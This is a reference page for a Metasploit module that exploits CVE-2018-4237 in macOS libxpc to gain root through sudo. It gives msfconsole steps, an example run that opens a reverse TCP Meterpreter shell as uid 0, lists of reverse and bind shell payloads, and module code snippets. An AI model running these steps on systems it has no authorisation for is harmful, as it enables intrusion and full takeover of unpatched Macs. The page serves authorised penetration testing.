Mac OS X libxpc MITM Privilege Escalation - Metasploit

This page contains detailed information about how to use the exploit/osx/local/libxpc_mitm_ssudo metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Mac OS X libxpc MITM Privilege Escalation
Module: exploit/osx/local/libxpc_mitm_ssudo
Source code: modules/exploits/osx/local/libxpc_mitm_ssudo.rb
Disclosure date: 2018-03-15
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x64
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-4237

This module exploits a vulnerablity in libxpc on macOS <= 10.13.3 The task_set_special_port API allows callers to overwrite their bootstrap port, which is used to communicate with launchd. This port is inherited across forks: child processes will use the same bootstrap port as the parent. By overwriting the bootstrap port and forking a child processes, we can now gain a MitM position between our child and launchd. To gain root we target the sudo binary and intercept its communication with opendirectoryd, which is used by sudo to verify credentials. We modify the replies from opendirectoryd to make it look like our password was valid.

Module Ranking and Traits

Module Ranking:

excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/osx/local/libxpc_mitm_ssudo
msf exploit(libxpc_mitm_ssudo) > show targets
    ... a list of targets ...
msf exploit(libxpc_mitm_ssudo) > set TARGET target-id
msf exploit(libxpc_mitm_ssudo) > show options
    ... show and set options ...
msf exploit(libxpc_mitm_ssudo) > set SESSION session-id
msf exploit(libxpc_mitm_ssudo) > exploit

Required Options

SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

This vulnerability works against OSX <= 10.13.3 (High Sierra). It has been tested against El Capitan (10.11), Sierra (10.12) and High Sierra, however it may work on older versions.

The task_set_special_port API allows callers to overwrite their bootstrap port, which is used to communicate with launchd. This port is inherited across forks: child processes will use the same bootstrap port as the parent. By overwriting the bootstrap port and forking a child processes, we can now gain a MitM position between our child and launchd.

To gain root we target the sudo binary and intercept its communication with opendirectoryd, which is used by sudo to verify credentials. We modify the replies from opendirectoryd to make it look like our password was valid.

Verification Steps

Get a session on a vulnerable system
use exploit/osx/local/libxpc_mitm_ssudo
set lhost <IP>
set lport <PORT>
set session <session_id>
run

Scenarios

Example Run

msf5 exploit(multi/handler) > use exploit/osx/local/libxpc_mitm_ssudo
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LPORT 4446
LPORT => 4446
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set SESSION 1
SESSION => 1
msf5 exploit(osx/local/libxpc_mitm_ssudo) > exploit

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.2:4446
[*] Uploading file: '/tmp/romrvmmf'
[*] Uploading file: '/tmp/kflrjdgv'
[*] Executing cmd '/tmp/romrvmmf /tmp/kflrjdgv'
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(4088 bytes)
[*] Sending stage (808168 bytes) to 192.168.0.2
[*] Meterpreter session 2 opened (192.168.0.2:4446 -> 192.168.0.2:50020) at 2018-11-20 16:08:05 +0800

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

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Msfconsole Usage

Here is how the osx/local/libxpc_mitm_ssudo exploit module looks in the msfconsole:

msf6 > use exploit/osx/local/libxpc_mitm_ssudo

[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/local/libxpc_mitm_ssudo) > show info

       Name: Mac OS X libxpc MITM Privilege Escalation
     Module: exploit/osx/local/libxpc_mitm_ssudo
   Platform: OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-03-15

Provided by:
  saelo

Available targets:
  Id  Name
  --  ----
  0   Mac OS X x64 (Native Payload)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  This module exploits a vulnerablity in libxpc on macOS <= 10.13.3 
  The task_set_special_port API allows callers to overwrite their 
  bootstrap port, which is used to communicate with launchd. This port 
  is inherited across forks: child processes will use the same 
  bootstrap port as the parent. By overwriting the bootstrap port and 
  forking a child processes, we can now gain a MitM position between 
  our child and launchd. To gain root we target the sudo binary and 
  intercept its communication with opendirectoryd, which is used by 
  sudo to verify credentials. We modify the replies from 
  opendirectoryd to make it look like our password was valid.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-4237
  https://github.com/saelo/pwn2own2018

Module Options

This is a complete list of options available in the osx/local/libxpc_mitm_ssudo exploit:

msf6 exploit(osx/local/libxpc_mitm_ssudo) > show options

Module options (exploit/osx/local/libxpc_mitm_ssudo):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (osx/x64/meterpreter/reverse_tcp):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   LHOST                                   yes       The listen address (an interface may be specified)
   LPORT                  4444             yes       The listen port
   MeterpreterDebugLevel  0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)

Exploit target:

   Id  Name
   --  ----
   0   Mac OS X x64 (Native Payload)

Advanced Options

Here is a complete list of advanced options supported by the osx/local/libxpc_mitm_ssudo exploit:

msf6 exploit(osx/local/libxpc_mitm_ssudo) > show advanced

Module advanced options (exploit/osx/local/libxpc_mitm_ssudo):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (osx/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the osx/local/libxpc_mitm_ssudo module can exploit:

msf6 exploit(osx/local/libxpc_mitm_ssudo) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Mac OS X x64 (Native Payload)

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the osx/local/libxpc_mitm_ssudo exploit:

msf6 exploit(osx/local/libxpc_mitm_ssudo) > show payloads

Compatible Payloads
===================

   #   Name                                           Disclosure Date  Rank    Check  Description
   -   ----                                           ---------------  ----    -----  -----------
   0   payload/generic/custom                                          normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                  normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                               normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/osx/x64/dupandexecve/bind_tcp                           normal  No     OS X dup2 Command Shell, Bind TCP Stager
   4   payload/osx/x64/dupandexecve/reverse_tcp                        normal  No     OS X dup2 Command Shell, Reverse TCP Stager
   5   payload/osx/x64/dupandexecve/reverse_tcp_uuid                   normal  No     OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
   6   payload/osx/x64/exec                                            normal  No     OS X x64 Execute Command
   7   payload/osx/x64/meterpreter/bind_tcp                            normal  No     OSX Meterpreter, Bind TCP Stager
   8   payload/osx/x64/meterpreter/reverse_tcp                         normal  No     OSX Meterpreter, Reverse TCP Stager
   9   payload/osx/x64/meterpreter/reverse_tcp_uuid                    normal  No     OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
   10  payload/osx/x64/meterpreter_reverse_http                        normal  No     OSX Meterpreter, Reverse HTTP Inline
   11  payload/osx/x64/meterpreter_reverse_https                       normal  No     OSX Meterpreter, Reverse HTTPS Inline
   12  payload/osx/x64/meterpreter_reverse_tcp                         normal  No     OSX Meterpreter, Reverse TCP Inline
   13  payload/osx/x64/say                                             normal  No     OS X x64 say Shellcode
   14  payload/osx/x64/shell_bind_tcp                                  normal  No     OS X x64 Shell Bind TCP
   15  payload/osx/x64/shell_reverse_tcp                               normal  No     OS X x64 Shell Reverse TCP

Evasion Options

Here is the full list of possible evasion options supported by the osx/local/libxpc_mitm_ssudo exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/local/libxpc_mitm_ssudo) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Target is not vulnerable
Session already has root privileges
<WRITABLEDIR> is not writable

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Target is not vulnerable

Here is a relevant code snippet related to the "Target is not vulnerable" error message:

62:	    end
63:	  end
64:	
65:	  def exploit
66:	    if check != CheckCode::Appears
67:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
68:	    end
69:	
70:	    if is_root?
71:	      fail_with Failure::BadConfig, 'Session already has root privileges'
72:	    end

Session already has root privileges

Here is a relevant code snippet related to the "Session already has root privileges" error message:

66:	    if check != CheckCode::Appears
67:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
68:	    end
69:	
70:	    if is_root?
71:	      fail_with Failure::BadConfig, 'Session already has root privileges'
72:	    end
73:	
74:	    unless writable? datastore['WritableDir']
75:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
76:	    end

<WRITABLEDIR> is not writable

Here is a relevant code snippet related to the "<WRITABLEDIR> is not writable" error message:

70:	    if is_root?
71:	      fail_with Failure::BadConfig, 'Session already has root privileges'
72:	    end
73:	
74:	    unless writable? datastore['WritableDir']
75:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
76:	    end
77:	
78:	    exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
79:	    exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
80:	    upload_executable_file(exploit_file, exploit_data)

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References

Authors

saelo

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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Mac OS X libxpc MITM Privilege Escalation - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Verification Steps

Scenarios

Example Run

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

Target is not vulnerable

Session already has root privileges

<WRITABLEDIR> is not writable

References

See Also

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Mac OS X libxpc MITM Privilege Escalation - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Verification Steps

Scenarios

Example Run

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

Target is not vulnerable

Session already has root privileges

<WRITABLEDIR> is not writable

Related Pull Requests

References

See Also

Authors

Version